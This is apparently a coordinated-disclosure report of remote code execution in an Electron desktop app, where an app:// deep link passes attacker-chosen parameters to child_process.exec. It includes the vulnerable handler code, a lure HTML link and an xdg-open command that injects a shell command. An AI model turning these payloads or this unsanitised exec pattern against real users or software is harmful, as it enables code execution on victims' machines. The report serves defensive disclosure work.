Remote Code Execution via Electron Deep Link IPC Handler
#Summary
During black-box static and dynamic security analysis of a commercial cross-platform desktop application, reverse engineering of the application's ASAR package uncovered a vulnerability in the custom protocol handler (app://). By directing a victim to click a specially crafted browser link, an external attacker could trigger arbitrary shell execution via unvalidated IPC channel parameters.
#Technical Detail
The Electron application registered a system URL scheme app:// for external deep-linking into desktop workspaces. When parsing incoming arguments from app.on('open-url'), the main process forwarded query parameters directly to an IPC handler registered via ipcMain.handle('execute-action').
Inspection of the unpacked app.asar source code revealed that the path parameter was passed to child_process.exec() without escaping shell metacharacters or restricting paths to a dedicated sandbox directory:
// Vulnerable snippet from main.bundle.js
ipcMain.handle('workspace:run-tool', async (event, { binaryPath, args }) => {
// Missing parameter validation and shell escaping
return new Promise((resolve) => {
cp.exec(`${binaryPath} ${args.join(' ')}`, (err, stdout) => {
resolve({ err, stdout });
});
});
});Because custom URL schemes can be triggered silently or with minimal browser prompt from any malicious web page, this created a direct path from web context to local host execution.
#Proof of Concept
Payload crafted into a malicious HTML link:
<!-- Trigger link hosted on attacker-controlled website -->
<a href="app://open-workspace?binaryPath=calc.exe&args=">
Click here to inspect shared security telemetry report
</a>Bash / CLI trigger command on victim host:
# Simulating protocol registration invocation
xdg-open "app://open-workspace?binaryPath=/bin/sh&args=-c&args=id%3E/tmp/pwned"Verification observed on Linux/macOS target:
File /tmp/pwned was successfully created containing the uid/gid of the current desktop user session.
#Impact
An unauthenticated remote attacker could achieve arbitrary code execution in the context of the user running the desktop application simply by inducing them to click a malicious link or visit an attacker-controlled website.
#Timeline
All vulnerabilities documented here were reported through authorized bug bounty programs or official security contact addresses. Sensitive corporate assets, internal tokens, and customer data have been sanitized or omitted in accordance with coordinated disclosure guidelines.